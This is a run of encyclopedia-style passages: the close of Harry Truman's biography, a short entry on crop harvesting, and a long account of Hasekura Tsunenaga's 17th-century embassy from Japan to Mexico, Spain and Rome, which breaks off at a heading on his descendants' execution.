          Upon turning 80, Truman was feted in Washington and asked to address the United States Senate, as part of a new rule that allowed former presidents to be granted privilege of the floor. Truman was so emotionally overcome by the honour and by his reception that he was barely able to deliver his speech. He also campaigned for senatorial candidates. A bad fall in the bathroom of his home in late 1964 severely limited his physical capabilities, and he was unable to maintain his daily presence at his presidential library.


          In 1965, President Lyndon B. Johnson signed the Medicare bill at the Truman Library and gave the first two Medicare cards to Truman and his wife Bess to honour his fight for government health care as president.


          On December 5, 1972, he was admitted to Kansas City's Research Hospital and Medical Centre with lung congestion from pneumonia. He subsequently developed multiple organ failure and died at 7:50 a.m. on December 26. Bess Truman died nearly ten years later, on October 18, 1982. He and Bess are buried at the Truman Library.


          


          Legacy


          When he left office in 1953, Truman was one of the most unpopular chief executives in history. His job approval rating of 22 percent in the Gallup Poll as of February 1952 was actually lower than Richard Nixon's was in August 1974 at 24 percent, the month that Nixon resigned. Public feeling toward Truman grew steadily warmer with the passing years, however, and the period shortly after his death consolidated a partial rehabilitation among both historians and members of the general public. Since leaving office, Truman has fared well in polls ranking the presidents. He has never been listed lower than ninth, and most recently was seventh in a Wall Street Journal poll in 2005. He has also had his critics. After a review of information available to Truman on the presence of espionage activities in the U.S. government, Democratic Senator Daniel Patrick Moynihan concluded that Truman was "almost willfully obtuse" concerning the danger of American communism.


          Truman died during a time when the nation was consumed with crises in Vietnam and Watergate, and his death brought a new wave of attention to his political career. In the early and mid-1970s, Truman captured the popular imagination much as he had in 1948, this time emerging as a kind of political folk hero, a president who was thought to exemplify an integrity and accountability many observers felt was lacking in the Nixon White House. Truman has been portrayed on screen many times, several in performances that have won wide acclaim, and the pop band Chicago recorded a nostalgic song, " Harry Truman" (1975).


          Due to Truman's critical role in the US government's decision to recognize Israel, the Israeli village of Beit Harel was renamed Kfar Truman.


          The Truman Scholarship, a federal program that seeks to honour U.S. college students who exemplified dedication to public service and leadership in public policy, was created in 1975.


          The President Harry S. Truman Fellowship in National Security Science and Engineering, a distinguished postdoctoral three-year appointment at Sandia National Laboratories was created in 2004.


          The USS Harry S. Truman was named on September 7, 1996. The ship, sometimes known as the 'HST', was authorized as USS United States, but her name was changed before the keel laying.


          The University of Missouri established the Harry S Truman School of Public Affairs to advance the study and practice of governance. The university's Missouri Tigers athletics programs have an official mascot named Truman the Tiger.


          To mark its transformation from a regional state teachers' college to a selective liberal arts university and to honour the only Missourian to become president, Northeast Missouri State University became Truman State University on July 1, 1996. A member institution of the City Colleges of Chicago, Harry S Truman College in Chicago, Illinois is named in honour of the president for his dedication to public colleges and universities. The headquarters for the State Department, built in the 1930s but never officially named, was dedicated as the Harry S Truman Building in 2000.


          Thom Daniel, grandson of the Trumans accepted a star on the Missouri Walk of Fame in 2006 to honour his late grandfather. John Truman, Truman's nephew, would accept a star for Bess Truman in 2007. The Walk of Fame is in Marshfield, Missouri, a city Truman visited in 1948.


          


          Historic sites


          
            	Harry S. Truman National Historic Site includes the Wallace House at 219 Delaware in Independence and the family farmhouse at Grandview, Missouri (Truman sold most of the farm for Kansas City suburban development including the Truman Corners Shopping Centre).


            	Harry S Truman Birthplace State Historic Site is the house where Truman was born and spent 11 months in Lamar, Missouri.


            	Harry S. Truman Presidential Library and MuseumThe Presidential Library in Independence


            	Harry S. Truman Little White HouseTruman's winter getaway at Key West, Florida

          


          


          Truman's middle initial


          
            [image: HST's signature]
          


          Truman did not have a middle name, only a middle initial. In his autobiography, Truman stated, "I was named for ... Harrison Young. I was given the diminutive Harry and, so that I could have two initials in my given name, the letter S was added. My Grandfather Truman's name was Anderson Shippe [sometimes also spelled 'Shipp'] Truman and my Grandfather Young's name was Solomon Young, so I received the S for both of them." He once joked that the S was a name, not an initial, and it should not have a period, but official documents and his presidential library all use a period. Furthermore, the Harry S. Truman Library has numerous examples of the signature written at various times throughout Truman's lifetime where his own use of a period after the S is conspicuous. The Associated Press Stylebook has called for a period after the S since the early 1960s, when Truman indicated he had no preference. However, the use of a period after his middle initial is not universal, and the official White House biography does not use it. All official US Navy listings of the USS Harry S. Truman (CVN-75) include the period after the S.


          Truman's bare initial caused an unusual slip when he first became president and had to take the oath of office. At a meeting in the Cabinet Room, Chief Justice Harlan Stone began reading the oath by saying "I, Harry Shipp Truman, ..." Truman responded: "I, Harry S. Truman, ..."


          


          Notable screen portrayals


          Notable screen portrayals of President Truman have been given by Ed Flanders (several times, receiving an Emmy nomination for one of those portrayals ), James Whitmore (in a screen version of the one-man play Give 'em Hell, Harry!, for which Whitmore was Oscar-nominated ), and Gary Sinise (in the made-for-television film Truman, for which he received an Emmy nomination and won a CableACE Award).


          President Truman is featured in the 2006 Clint Eastwood movie Flags of Our Fathers, where he is played by American actor David Patrick Kelly.
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          In agriculture, harvesting is the process of gathering mature crops from the fields. Reaping is the harvesting of grain crops. The harvest marks the end of the growing season, or the growing cycle for a particular crop. Harvesting in general usage includes the immediate post-harvest handling, all of the actions taken immediately after physically removing the cropcooling, sorting, cleaning, packingup to the point of further on-farm processing, or shipping to the wholesale or consumer market.


          Harvest timing is a critical decision, that balances the likely weather conditions with the degree of crop maturity. Weather conditions such as frost, and unseasonably warm or cold periods, can affect yield and quality. An earlier harvest date may avoid damaging conditions, but result in poorer yield and quality. Delaying harvest may result in a better harvest, but increases the risk of weather problems. Timing of the harvest often involves a significant degree of gambling.


          On smaller farms with minimal mechanization, harvesting is the most labor-intensive activity of the growing season. On large, mechanized farms, harvesting utilizes the most expensive and sophisticated farm machinery, like the combine harvester.


          Harvest commonly refers to grain and produce, but is used in reference to fish and timber. The term harvest is also used within the context of irrigation where water harvesting is referred to as the collection and run-off of rainwater for agricultural or domestic uses.


          Before the 16th century Harvest was the term usually used to refer to the season Autumn. However as more people gradually moved from working the land to living in towns (especially those who could read and write, the only people whose use of language we now know), the word became to refer to the actual activity of reaping, rather than the time of year, and the terms Fall and Autumn began to replace it.
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            	In this Japanese name, the family name is Hasekura.

          


          
            
              	Hasekura Rokuemon Tsunenaga

              (15711622)

              [image: ]

              Hasekura's portrait during his mission in Rome in 1615, by Claude Deruet, Coll. Borghese, Rome
            


            
              	Names:
            


            
              	Japanese name:

              	Hasekura Rokuemon Tsunenaga

              (支倉六右衛門常長)
            


            
              	Christian name:

              	Don Felipe Francisco Hasekura
            


            
              	Retainer of:
            


            
              	Overlord:

              	Date Masamune
            


            
              	Fief:

              	Sendai Domain (仙台藩)

              (Northeastern Japan)
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          Hasekura Rokuemon Tsunenaga (1571  1622) ( Japanese: 支倉六右衛門常長, also spelled Faxecura Rocuyemon in period European sources, reflecting the contemporary pronunciation of Japanese) was a Japanese samurai and retainer of Date Masamune, the daimyo of Sendai.


          In the years 1613 through 1620, Hasekura headed a diplomatic mission to the Vatican in Rome, traveling through New Spain (arriving in Acapulco and departing from Veracruz) and visiting various ports-of-call in Europe. This historic mission is called the Keichō Embassy, 慶長使節). On the return trip, Hasekura and his companions re-traced their route across Mexico in 1619, sailing from Acapulco for Manilla, and then sailing north to Japan in 1620. This is conventionally considered the first Japanese ambassador in the Americas and in Europe.


          Although Hasekura's embassy was cordially received in Europe, it happened at a time when Japan was moving toward the suppression of Christianity. European monarchs such as the King of Spain thus refused the trade agreements Hasekura had been seeking. Hasekura returned to Japan in 1620 and died of illness a year later, his embassy seemingly ending with few results in an increasingly isolationist Japan.


          Japan's next embassy to Europe would only occur more than 200 years later, following two centuries of isolation, with the " First Japanese Embassy to Europe" in 1862.


          


          Early life


          Little is known of the early life of Hasekura Tsunenaga. He was a mid-level noble samurai in the Sendai Domain in northern Japan, who had the opportunity to directly serve the daimyo Date Masamune. They were of roughly the same age, and it is recorded that several important missions were given to Tsunenaga as his representative.
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          It is also recorded that Hasekura served as samurai of the Japanese invasion of Korea under the Taiko Toyotomi Hideyoshi, during six months in 1597.


          In 1612, Hasekura's father, Hasekura Tsunenari (支倉常成), was indicted for corruption, and he was put to death in 1613. His fief was confiscated, and his son should normally have been executed as well. Date however gave him the opportunity to redeem his honour by placing him in charge of the Embassy to Europe, and soon gave him back his territories as well.


          


          Background: early contacts between Japan and Spain


          The Spanish started trans-Pacific voyages between New Spain (Mexico) and the Philippines in 1565. The famous Manila galleons carried silver from Mexican mines westward to the entrept of Manila in the Spanish possession of the Philippines. There, the silver was used to purchase spices and trade goods gathered from throughout Asia, including (until 1638) goods from Japan. The return route of the Manila galleons, first charted by the Basque navigator Andrs de Urdaneta, took the ships northeast into the Kuroshio Current (also known as the Japan Current) off the coast of Japan, and then across the Pacific to the west coast of North America, landing eventually in Acapulco.


          Spanish ships were periodically shipwrecked on the coasts of Japan due to bad weather, initiating contacts with the country. The Spanish wished to expand the Christian faith in Japan. Efforts to expand influence in Japan were met by stiff resistance from the Jesuits, who had started the evangelizing of the country in 1549, as well as the Portuguese and the Dutch who did not wish to see Spain participate in Japanese trade. However, some Japanese, such as Christopher and Cosmas, are known to have crossed the Pacific onboard Spanish galleons as early as 1587. It is known that gifts were exchanged between the governor of the Philippines and Toyotomi Hideyoshi, who thanks him in a 1597 letter, writing "The black elephant in particular I found most unusual."


          In 1609, the Spanish Manila galleon San Francisco encountered bad weather on its way from Manila to Acapulco, and was wrecked on the Japanese coast in Chiba, near Tokyo. The sailors were rescued and welcomed, and the ship's captain, Rodrigo de Vivero, former interim governor of the Philippines, met with the retired shogun Tokugawa Ieyasu. Rodrigo de Vivero drafted a treaty, signed on 29 November 1609, whereby the Spaniards could establish a factory in eastern Japan, mining specialists would be imported from New Spain, Spanish ships would be allowed to visit Japan in case of necessity, and a Japanese embassy would be sent to the Spanish court.


          


          First Japanese expeditions to the Americas


          [bookmark: 1610_San_Buena_Ventura]


          1610 San Buena Ventura
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          A Franciscan monk named Luis Sotelo, who was proselytizing in the area of Tokyo, convinced Tokugawa Ieyasu and his son Tokugawa Hidetada to send him as a representative to New Spain (Mexico) on one of their ships, in order to advance the trade treaty. Rodrigo de Vivero offered to sail on the Japanese ship in order to guarantee the safety of their reception in New Spain, but insisted that another Franciscan, named Alonso Muos, be sent instead as the Shogun's representative. In 1610, the returning Rodrigo de Vivero, several Spanish sailors, the Franciscan father, and 22 Japanese representatives led by the trader Tanaka Shosuke, sailed to Mexico aboard the San Buena Ventura, a ship built by the English adventurer William Adams for the Shogun. Once in New Spain, Alonso Muos met with the Viceroy Luis de Velasco, who agreed to send an ambassador to Japan in the person of the famous explorer Sebastian Vizcaino, with the added mission of exploring the "Gold and silver islands" ("Isla de Plata") that were thought to be east of the Japanese isles.


          Vizcaino arrived in Japan in 1611, and had many meetings with the Shogun and feudal lords. These encounters were tainted by his poor respect for Japanese customs, the mounting resistance of the Japanese towards Catholic proselytism, and the intrigues of the Dutch against Spanish ambitions. Vizcaino finally left to search for the "Silver island", during which search he encountered bad weather, forcing him to return to Japan with heavy damage.


          [bookmark: 1612_San_Sebastian]


          1612 San Sebastian


          Without waiting for Vizcaino, another ship  built in Izu by the Bakufu under the minister of the Navy Mukai Shogen, and named San Sebastian  left for Mexico on 9 September 1612 with Luis Sotelo onboard as well as two representatives of Date Masamune, with the objective of advancing the trade agreement with New Spain. However, the ship foundered a few miles from Uraga, and the expedition had to be abandoned.


          


          The 1613 embassy project
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          The Shogun decided to build a new galleon in Japan in order to bring Vizcaino back to Nueva Espaa, together with a Japanese embassy accompanied by Luis Sotelo. The galleon, named Date Maru by the Japanese and later San Juan Bautista by the Spanish, took 45 days work in building, with the participation of technical experts from the Bakufu (the Minister of the Navy Mukai Shogen, an acquaintance of William Adams with whom he built several ships, dispatched his Chief Carpenter), 800 shipwrights, 700 smiths, and 3,000 carpenters. The daimyo of Sendai, Date Masamune, was put in charge of the project. He named one of his retainers, Hasekura Tsunenaga (his fief was rated at around 600 koku), to lead the mission:


          
            	"The Great Ship left Toshima-Tsukinoura for the Southern Barbarians on September 15th [Japanese calendar], with at its head Hasekura Rokuemon Tsunenaga, and those called Imaizumi Sakan, Matsuki Shusaku, Nishi Kyusuke, Tanaka Taroemon, Naito Hanjuro, Sonohoka Kyuemon, Kuranojo, Tonomo, Kitsunai, Kyuji, as well as several others under Rokuemon, as well as 40 Southern Barbarians, 10 men of Mukai Shogen, and also tradespeople, to a total 180" (Records of the Date House, Keichō-Genna 伊達家慶長元和留控, Gonoi p. 56).

          


          The objective of the Japanese embassy was both to discuss trade agreements with the Spanish crown in Madrid, and to meet with the Pope in Rome. Date Masamune displayed a great will to welcome the Catholic religion in his domain: he invited Luis Sotelo and authorized the propagation of Christianity in 1611. In his letter to the Pope, brought by Hasekura, he wrote: "I'll offer my land for a base of your missionary work. Send us as many padres as possible."


          Sotelo, in his own account of the travels, emphasizes the religious dimension of the mission, claiming that the main objective was to spread the Christian faith in northern Japan:
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            	"I was formerly dispatched as ambassador of Idate Masamune, who holds the reins of the kingdom of Oxu [Japanese:奥州] (which is in the Eastern part of Japan) who, while he has not yet been reborn through baptism, has been catechized, and was desirous that the Christian faith should be preached in his kingdomtogether with another noble of his Court, Philippus Franciscus Faxecura Rocuyemon, to the Roman Senate & to the one who at that time was in charge of the Apostolic See, His Holiness Pope Paul V." (Luis Sotelo De Ecclesiae Iaponicae Statu Relatio, 1634).

          


          The embassy was probably, at that time, part of a plan to diversify and increase trade with foreign countries, before the participation of Christians in the Osaka rebellion triggered a radical reaction from the Shogunate, with the interdiction of Christianity in the territories it directly controlled, in 1614.


          


          Trans-Pacific voyage


          Upon completion, the ship left on 28 October 1613 for Acapulco with around 180 people on board, including 10 samurai of the Shogun (provided by the Minister of the Navy Mukai Shogen Tadakatsu), 12 samurai from Sendai, 120 Japanese merchants, sailors, and servants, and around 40 Spaniards and Portuguese, including Sebastian Vizcaino who, in his own words, only had the quality of a passenger.


          


          New Spain (Acapulco)
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            [image: Nicolas de Cardona, in his 1632 edition of "World Exploration", published this view of the bay and city of Acapulco, mentioning the presence of "a ship from Japan" (letter "D"), probably the San Juan Bautista (Gonoi, p53). Cardona was in Acapulco between end of 1614 and 21 March 1615. The full legend reads: A. The ships of the expedition. B. The castle of San Diego. C. The town. D. A ship that has come from Japan. E. Los Manzanillos. F. El Grifo.]
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          The ship first reached Cape Mendocino in today's California, and then continued along the coast to arrive in Acapulco on 25 January 1614 after three months at sea. The Japanese were received with great ceremony, but had to wait in Acapulco until orders were received regarding how to organize the rest of their travels.


          Fights erupted between the Japanese and the Spaniards, especially Vizcaino, apparently due to some disputes on the handling of presents from the Japanese ruler. A contemporary journal, written by the historian Chimalpahin Quauhtlehuanitzin, a noble Aztec born in Amecameca (ancient Chalco province) in 1579, whose formal name was Domingo Francisco de San Anton Muon, relates Vizcaino was seriously wounded in the fight:


          
            	"Senor Vizcaino is still coming slowly, coming hurt; the Japanese injured him when they beat and stabbed him in Acapulco, as became known here in Mexico, because of all the things coming along that had been made his responsibility in Japan"

          


          Following these fights, orders were promulgated on March 4th and March 5th to bring peace back. The orders explained that:


          
            	"The Japanese should not be submitted to attacks in this Land, but they should remit their weapons until their departure, except for Hasekura Tsunenaga and eight of his retinue... The Japanese will be free to go where they want, and should be treated properly. They should not be abused in words or actions. They will be free to sell their goods. These orders have been promulgated to the Spanish, the Indians, the Mulattos, the Mestizos, and the Blacks, and those who don't respect them will be punished".

          


          


          New Spain (Mexico)


          The embassy remained two months in Acapulco and entered Mexico City on 24 March, where it was received with great ceremony. The ultimate mission for the embassy was to go on to Europe. The embassy spent some time in Mexico, and then went to Veracruz to board the fleet of Don Antonio Oquendo.


          Chimalpahin gives some account of the visit of Hasekura.


          
            	"This is the second time that the Japanese have landed one of their ships on the shore at Acapulco. They are transporting here all things of iron, and writing desks, and some cloth that they are to sell here." (Chimalpahin, "Annals of His Time").


            	"It became known here in Mexico and was said that the reason their ruler the Emperor of Japan sent this said lordly emissary and ambassador here, is to go in Rome to see the Holy Father Paul V, and to give him their obedience concerning the holy church, so that all the Japanase want to become Christians" (Chimalpahin, "Annals of His Time").
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          Hasekura was setted in a house next to the Church of San Francisco, and met with the Viceroy. He explained to him that he was also planning to meet King Philip III to offer him peace and to obtain that the Japanese could come to Mexico for trade. On Wednesday 9 April, 20 Japanese were baptized, and 22 more on 20 April by the archbishop in Mexico, don Juan Prez de la Serna, at the Church of San Francisco. Altogether 63 of them received confirmation on 25 April. Hasekura waited for his travel to Europe to be baptized there:


          
            	"But the lordly emissary, the ambassador, did not want to be baptized here; it was said that he will be baptized later in Spain" (Chimalpahin, "Annals of His Time").

          


          


          Departure for Europe


          Chimalpahin explains that Hasekura left some of his compatriots behind before leaving for Europe:


          
            	"The Ambassador of Japan set out and left for Spain. In going he divided his vassals; he took a certain number of Japanese, and he left an equal number here as merchants to trade and sell things." (Chimalpahin, "Annals of His Time").

          


          The fleet left for Europe on the San Jose on 10 June. Hasekura had to leave the largest parts of the Japanese group behind, who were to wait in Acapulco for the return of the embassy.


          Some of them, as well as those from the previous travel of Tanaka Shosuke, returned to Japan the same year, sailing back with the San Juan Bautista:


          
            	"Today, Tuesday the 14th of the month of October of the year 1614, was when some Japanese set out from Mexico here going home to Japan.; they lived here in Mexico for four years. Some still remained here; they earn a living trading and selling here the goods they brought with them from Japan." (Chimalpahin, "Annals of His Time").

          


          


          Cuba


          The embassy stopped and changed ships in Havana in Cuba in July 1614. A bronze statue was erected on 26 April 2001 at the head of Havana Bay.


          


          Mission to Europe


          


          Spain
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          The fleet arrived in Sanlucar de Barrameda on 5 October 1614.


          
            	"The fleet arrived safely finally, after some dangers and storms, to the port of Sanlcar de Barrameda on the 5th of October, where the Duke of Medina Sidonia was advised of the arrival. He sent carriages to honour them and accommodate the Ambassador and his gentlemen" (Scipione Amati "History of the Kingdom of Voxu").

          


          
            	"The Japanese ambassador Hasekura Rokuemon, sent by Joate Masamune, king of Boju, entered Seville on Wednesday, 23 October 1614. He was accompanied by 30 Japanese with blades, their captain of the guard, and 12 bowmen and halberdiers with painted lances and blades of ceremony. The captain of the guard was Christian and was called Don Thomas, the son of a Japanese martyr" (Library Capitular Calombina 84-7-19 Memorias..., fol.195).
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          The Japanese embassy met with King Philip III in Madrid on 30 January 1615. Hasekura remitted to the King a letter from Date Masamune, as well as offer for a treaty. The King responded that he would do what he could to accommodate these requests.


          Hasekura was baptized on 17 February by the king's personal chaplain, and renamed Felipe Francisco Hasekura. The baptism ceremony was to have been conducted by the Archbishop of Toledo, though he was too ill to actually carry this out, and the Duke of Lerma  the main administrator of Phillip III's rule and the de facto ruler of Spain  was designated as Hasekura's godfather.


          The embassy stayed eight months in Spain before leaving the country for Italy.


          


          France
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          After traveling across Spain, the embassy sailed on the Mediterranean Sea aboard three Spanish frigates towards Italy. Due to bad weather, they had to stay for a few days in the French harbour of Saint-Tropez, where they were received by the local nobility, and made quite a sensation on the populace.


          The visit of the Japanese Embassy is recorded in the city's chronicles as led by "Philip Francis Faxicura, Ambassador to the Pope, from Date Masamunni, King of Woxu in Japan".


          Many picturesque details of their movements were recorded:


          
            	"They never touch food with their fingers, but instead use two small sticks that they hold with three fingers."


            	"They blow their noses in soft silky papers the size of a hand, which they never use twice, so that they throw them on the ground after usage, and they were delighted to see our people around them precipitate themselves to pick them up."


            	"Their swords cut so well that they can cut a soft paper just by putting it on the edge and by blowing on it."


            	("Relations of Mme de St Troppez", October 1615, Bibliotheque Inguimbertine, Carpentras).

          


          The visit of Hasekura Tsunenaga to Saint-Tropez in 1615 is the first recorded instance of Franco-Japanese relations.


          


          Italy
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          The Japanese Embassy went on to Italy where they were able to meet with Pope Paul V in Rome in November 1615, the same year Galileo Galilei was first confronted by the Roman Inquisition regarding his findings against geocentricism. Hasekura remitted to the Pope two gilded letters, one in Japanese and one in Latin, containing a request for a trade treaty between Japan and Mexico and the dispatch of Christian missionaries to Japan. These letters are still visible in the Vatican archives. The Latin letter, probably written by Luis Sotelo for Date Masamune, reads, in part:


          
            	Kissing the Holy feet of the Great, Universal, Most Holy Lord of The Entire World, Pope Paul, in profound submission and reverence, I, Idate Masamune, King of Wsh in the Empire of Japan, suppliantly say:


            	The Franciscan Padre Luis Sotelo came to our country to spread the faith of God. On that occasion, I learnt about this faith and desired to become a Christian, but I still haven't accomplished this desire due to some small issues. However, in order to encourage my subjects to become Christians, I wish that you send missionaries of the Franciscan church. I guarantee that you will be able to build a church and that your missionaries will be protected. I also wish that you select and send a bishop as well. Because of that, I have sent one of my samurai, Hasekura Rokuemon, as my representative to accompany Luis Sotelo across the seas to Rome, to give you a stamp of obedience and to kiss your feet. Further, as our country and Nueva Espaa are neighbouring countries, could you intervene so that we can discuss with the King of Spain, for the benefit of dispatching missionaries across the seas." Translation of the Latin letter of Date Masamune to the Pope.
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          The Pope agreed to the dispatch of missionaries, but left the decision for trade to the King of Spain.


          The Roman Senate also gave to Hasekura the honorary title of Roman Citizen, in a document he brought back to Japan, and which is preserved today in Sendai.
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          Sotelo also described the visit to the Pope, book De ecclesiae Iaponicae statu relatio (published posthumously in 1634):


          
            	"When we got there by the aid of God in the Year of Our Salvation 1615, not only were we kindly received by His Holiness the great Pope, with the Holy College of the Cardinals and a gathering of bishops and nobles, and even the joy and general happiness of the Roman People, but we and three others (whom the Japanese Christians had specially designated to announce their condition with respect to the Christian religion) were heard, rested, and just as we were hoping, dispatched as quickly as possible." (Sotelo, De ecclesiae Iaponicae statu relatio).

          


          


          Rumours of political intrigue


          Besides the official description of Hasekura's visit to Rome, some contemporary communications tend to indicate that political matters were also discussed, and that an alliance with Date Masamune was suggested as a way to establish Christian influence in the whole of Japan:


          
            	"The Ambassador strongly insisted that the authority and power of his ruler was superior to that of many European countries" (Anonymous Roman communication, dated October 10, 1615)


            	"The Franciscan Spanish fathers are explaining that the King of the Ambassador [Hasekura Tsunenaga] will soon become the supreme ruler of his country, and that, not only will they become Christians and follow the will of the church of Rome, but they will also in turn convert the rest of the population. This is why they are requesting the dispatch of a high eclesiastic together with the missionaries. Because of this, many people have been doubting the true purpose of the embassy, and are wondering if they are not looking for some other benefit." (Letter of the Venetian ambassador, November 7, 1615).

          


          


          Second visit to Spain
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          For the second time in Spain, Hasekura met again with the King, who declined to sign a trade agreement, on the ground that the Japanese Embassy did not appear to be an official embassy from the ruler of Japan Tokugawa Ieyasu, who, on the contrary, had promulgated an edict in January 1614 ordering the expulsion of all missionaries from Japan, and started the persecution of the Christian faith in Japan.


          The embassy left Seville for Mexico in June 1617 after a period of two years spent in Europe, but some of the Japanese remained in Spain in a town near Seville ( Coria del Ro), where their descendants to this day still use the surname Japn.


          


          Western publications on Hasekura's embassy


          The embassy of Hasekura Tsunenaga was the object of numerous publications throughout Europe. The Italian writer Scipione Amati, who accompanied the embassy in 1615 and 1616, published in 1615 in Rome a book titled "History of the Kingdom of Voxu". This book was also translated in German in 1617. In 1616, the French publisher Abraham Savgrain published an account of Hasekura's visit to Rome: "Rcit de l'entre solemnelle et remarquable faite  Rome, par Dom Philippe Francois Faxicura" ("Account of the solemn and remarquable entrance in Rome of Dom Philippe Francois Faxicura").


          


          Return to Mexico


          Hasekura stayed for 5 months in Mexico on his way back to Japan. The San Juan Bautista was waiting in Acapulco since 1616, after a second trip across the Pacific from Japan to Mexico. Captained by Yokozawa Shogen, she was laden with fine pepper and lacquerware from Kyoto, which were sold on the Mexican market. Following a request by the Spanish king, in order to avoid too much silver leaving to Japan, the Viceroy asked for the proceeds to be spent on Mexican goods, except for an amount of 12,000 pesos and 8,000 pesos in silver which Hasekura and Yokozawa could bring back with them respectively.


          


          Philippines


          In April 1618, the San Juan Bautista arrived in the Philippines from Mexico, with Hasekura and Luis Sotelo on board. The ship was acquired by the Spanish government there, with the objective of building up defenses against the attacks of the Dutch and the English. The bishop of the Philippines with the local Filipinos and native Tagalog in Manila described the deal to the king of Spain in a missive dated 28 July 1619:
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            	"The Governor was extremely friendly with the Japanese, and provided them with his protection. As they had many expensive things to buy, they decided to lend their ship. The ship was immediately furbished for combat. The Governor eventually bought the ship, because it turned out that it was of excellent and sturdy construction, and available ships were dramatically few. In favour of your Majesty, the price paid was reasonable." (Document 243)

          


          During his stay in the Philippines with the local Filipinos, Hasekura purchased numerous goods for Date Masamune, and built a ship, as he explained in a letter he wrote to his son. He finally returned to Japan in August 1620, reaching the harbour of Nagasaki.


          


          Return to Japan


          By the time Hasekura came back, Japan had changed quite drastically: an effort to eradicate Christianity had been under way since 1614, Tokugawa Ieyasu had died in 1616 and been replaced by his more xenophobic son Tokugawa Hidetada, and Japan was moving towards the " Sakoku" policy of isolation. Because news of these persecutions arrived in Europe during Hasekura's embassy, European rulers  especially the King of Spain  became very reluctant to respond favorably to Hasekura's trade and missionary proposals.


          
            [image: Painting of the Pope Paul V remitted by Hasekura Tsunenaga to Date Masamune during his 1620 report; Sendai City Museum]

            
              Painting of the Pope Paul V remitted by Hasekura Tsunenaga to Date Masamune during his 1620 report; Sendai City Museum
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          Hasekura reported his travels to Date Masamune upon his arrival in Sendai. It is recorded that he remitted a portrait of Pope Paul V, a portrait of himself in prayer (shown above), and a set of Ceylonese and Indonesian daggers acquired in the Philippines, all preserved today in the Sendai City Museum. The "Records of the House of Masamune" describe his report in a rather succinct manner, ending with a rather cryptic expression of surprise bordering on the outrage ("奇怪最多シ") at Hasekura's discourse:


          
            	"Rokuemon went to the country of the Southern Barbarians, he paid his respects to the king Paolo, he stayed there for several years, and now he sailed back from Luzon. He brought paintings of the king of the Southern Barbarians, and a painting of himself, which he remitted. Many of his descriptions of the Southern Barbarian countries, and the meaning of Rokuemon's declarations were surprising and extraordinary."

          


          


          Interdiction of Christianity in Sendai


          The direct effect of Hasekura's return to Sendai was the interdiction of Christianity in the Sendai fief two days later:


          
            	"Two days after the return of Rokuemon to Sendai, a three-point edict against the Christian was promulgated: first, that all Christians were ordered to abandon their faith, in accordance with the rule of the Shogun, and for those who did not, they would be exiled if they were nobles, and killed if they were citizens, peasants or servants. Second, that a reward would be given for the denunciation of hidden Christians. Third that propagators of the Christian faith should leave the Sendai fief, or else, abandon their religion" (November 1620 letter of father Angelis, Japan-China archives of the Jesuits in Rome, quoted in Gonoi's "Hasekura Tsunenaga", p231)

          


          What Hasekura said or did to bring about such a result is unknown. As later events tend to indicate that he and his descendants remained faithful Christians, Hasekura may have made an enthusiastic  and to a certain extent, disturbing  account of the greatness and might of Western countries and the Christian religion. He may also have encouraged an alliance between the Church and Date Masamune to take over the country (an idea advertized by the Franciscans while in Rome), which, in 1620 Japan, would have been a totally unrealistic proposition. Lastly, hopes of trade with Spain evaporated when Hasekura communicated that the Spanish King would not enter an agreement as long as persecutions were occurring in the rest of the country.


          Date Masamune, heretofore very tolerant of Christianity in spite of the Bakufu's prohibition in the land it directly controlled, thus suddenly chose to distance himself from the Western faith. The first executions of Christians started 40 days later. The anti-Christian measures taken by Date Masumune were however comparatively mild, and Japanese and Western Christians repeatedly claimed that he only took them to appease the Shogun:


          
            	"Date Masumune, out of fear of the Shogun, ordered the persecution of Christianity in his territory, and created several martyrs." (Letter of 17 prominent Japanese Christians from Sendai, to the Pope, 29 September 1621).

          


          One month after Hasekura's return, Date Masamune wrote a letter to the Shogun Tokugawa Hidetada, in which he makes a very clear effort to evade responsibility for the embassy, explaining in detail how it was organized with the approval, and even the collaboration, of the Shogun:


          
            	"When I sent a ship to the Southern Barbarian countries several years ago, upon the advice of Mukai Shogen, I also dispatched the Southern Barbarian named Sotelo, who had resided for several years in Edo. At that time, your highness also gave messages for the Southern Barbarians, as well as presents, such as folding screens and sets of armour." ( October 18, 1620, quoted in Gonoi, p.234).

          


          Spain was by far the most threatening power for Japan at that time (with a colony and an army in the nearby Philippines). Hasekura eyewitness accounts of Spanish power and colonial methods in Nueva Espaa (Mexico) may have precipitated the Shogun Tokugawa Hidetada's decision to sever trade relations with Spain in 1623, and diplomatic relations in 1624, although other events such as the smuggling of Spanish priests into Japan and a failed Spanish embassy also contributed to the decision.


          


          Death


          What became of Hasekura is unknown and accounts of his last years are numerous. Contemporary Christian commentators could only rely on hearsay, with some rumours stating that he abandoned Christianity, others that he was martyred for his faith, and others that he practiced Christianity in secret. The fate of his descendants and servants, who were later executed for being Christians, would suggest that Hasekura remained strongly Christian himself, and transmitted his faith to the members of his family. Travel companions of Hasekura, such as Yokozawa Shogen are also known to have remained faithful Christians even after their return in Japan.


          
            [image: The Buddhist grave of Hasekura Tsunenaga, still visible today in Enfukuji, Enchōzan, Miyagi]

            
              The Buddhist grave of Hasekura Tsunenaga, still visible today in Enfukuji, Enchōzan, Miyagi
            

          


          Sotelo, who returned to Japan but was caught and finally burnt at the stake in 1624, gave before his execution an account of Hasekura returning to Japan as a hero who propagated the Christian faith:


          
            	"My other colleague, the ambassador Philippus Faxecura, after he reached his aforementioned king ( Date Masamune), was greatly honored by him, and sent to his own estate, to rest after such a long and tiring journey, where he made his wife, children, servants, and many other vassals into Christians, and advised other nobles who were his kith and kin to accept the faith, which they indeed did. While he was engaged in these and other pious works, a full year after his return, having provided much instruction and a great example, with much preparation, he piously passed on, leaving for his children by a special inheritance the propagation of the faith in his estate, and the protection of the religious (i.e. "members of religious orders") in that kingdom. The King and all the nobles were greatly saddened by his passing, but especially the Christians and Religious, who knew very well the virtue and religious zeal of this man. This is what I heard by letters from the very Religious who administered the sacraments to him, and who had been present at his death, as well as from others." (Luis Sotelo, De ecclesiae Iaponicae statu relatio).

          


          Hasekura also did bring back to Japan several Catholic artifacts, but he did not give them to his ruler, and instead kept them in his own estate.


          Hasekura Tsunenaga died of illness (according to Japanese as well as Christian sources) in 1622, but the location of his grave is not known for certain. Three graves are claimed as Hasekura's. One is visible in the Buddhist temple of Enfukuji (円長山円福寺) in Miyagi. Another is clearly marked (along with a memorial to Padre Sotelo) in the cemetery of a Buddhist temple in the Kitayama neighborhood, just north of the centre of Sendai, located between Shifukuji Temple and Aoba Ginja (Shinto shrine).


          


          Execution of his descendants and servants


          
            [image: Cross and medal seized in Hasekura's estate in 1640]

            
